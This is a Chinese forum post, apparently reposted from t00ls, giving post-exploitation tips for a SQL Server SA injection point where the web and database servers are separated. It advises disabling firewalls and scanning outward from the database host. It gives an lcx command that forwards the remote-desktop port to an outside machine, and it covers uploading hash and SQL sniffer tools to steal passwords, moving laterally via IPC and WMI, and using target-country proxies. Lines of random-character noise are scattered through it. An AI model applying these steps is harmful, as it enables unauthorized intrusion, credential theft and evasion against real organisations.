当你碰到SA的注入点,可以执行命令,但是web与数据库分离,你都会怎么做呢,当数据库不服务器不能连接外网的时候,是不是只想着从web搞呢,这篇文章从t00ls转载过来,希望对大家sa权限的注入点数据库web分离提供一些渗透思路。
3 A u/ Y& B; @: Q% }0 r5 j6 F3 \5 C8 C% ^: j
' Y4 d! x7 o3 i6 P4 H
- Y7 e$ z# |* i6 a% D+ T3 J' l4 y
SA点,system权限,可执行命令,web和db分离.DB机器不上网(一般指中马不上线,lcx反弹不出)
' \0 h( Z9 }" d$ m$ }8 W1 o9 m* O- ~. I
+ v! {% [2 o3 w2 i% }. |/ x0 \一、DB机有公网IP.
) K( k/ c( r$ u5 O& J2 e7 t( @, V2 \- {! L n3 T; F6 [; S
1:执行命令把系统防火墙和ip策略停止,netstat -an找到3389端口尝试连接.
( z* [3 Z/ k! P" w" a7 j. M4 N9 l% t2 p3 m5 K2 y, q
0 T8 O, c+ ?% b4 t' h% R" J
2:从内往外扫描.把命令行下的s扫描器转成vbs传上DB机器生成exe扫描外网一台做了端口策略的机器.这台外网机器开放所有端口.(可以到网上找这 样的 机器.) 如果扫描结果有开放端口,证明在这台DB机可以把3389转到外面机器.比如扫到80 那就lcx -slave ip 80 127.0.0.1 3389.
0 X% N6 L: t- k# z( s5 _: [: F7 l
. [; v/ r" L( Y. i, u3 S) Q3:尽量多拿密码.用vbs的方法上传gethash,sqlsniffer类的工具.拿到系统和mssql的密 码,数据库表的后台管理员密码,member表的最前几个用户密码.这些密码可以用来测试web后台,web的3389 ftp等.当然事先要对web机器完整扫描一遍. www.2cto.com% v2 Q2 j' b! V9 m! S2 Q5 Z
4 E9 M0 D0 x) m0 l; z
0 L* M5 k$ I" r4,nmap扫描.用nmap扫描web和db机器的1-65535端口.如果发现db机器显示有closed的端口.那恭喜你,你可以lcx -tran 把3389转发到该端口直接登陆.firewalk也有类似功能.但对代理防火墙无用.. w- i- d; Z" Z2 l
3 w# @# \0 V8 R; I
, @6 v3 P; n" P
. u6 ~8 s9 P. e% \% E二、DB机只有内网IP
y; o2 b3 M9 z
2 `$ ^' P5 u! Y, ?. I# K1 x4 w3 r1:尽量多拿密码来net use到web机器.这个过程需要极大的耐心 , 拿密码尝试登陆web后台等.
5 J. Z4 R$ `2 L* N3 D( h$ w% r% q* k4 Z9 I& k* ^
0 ?( e6 P% p% u. U2:停掉防火墙和IP策略再从内往外扫描.: n9 |, c* s) \
$ Y v- Z( z& i
3 V0 o2 d( D9 x2 ~/ Q6 J6 f3: ipconfig /dispalydns如果发现有公网的域名,极大可能是路由做了手脚.机会还是有的./ ]3 t; q& b3 q4 b1 |+ ^
( S/ \0 U8 \& ]/ w K6 a+ {# Q. h9 J. @8 a( @- Q9 G1 U$ |
4:学会密码规律分析往往会有惊喜.- ~6 c1 ?0 D4 S$ Q# h! i
( ?# H* |: u$ }2 O
5 m9 T- O/ B( l4 ^0 A0 W5,在sa点里执行命令渗透内网,找可上网的机器.isql,ipc共享,wmi等
; Z |' {5 z! d$ B# B' r( b; u# r: l
% s0 |4 \. D; ~有些地区或国家会禁止别的国家连接一些端口,所以拥有目标国代理或VPN是很重要的 |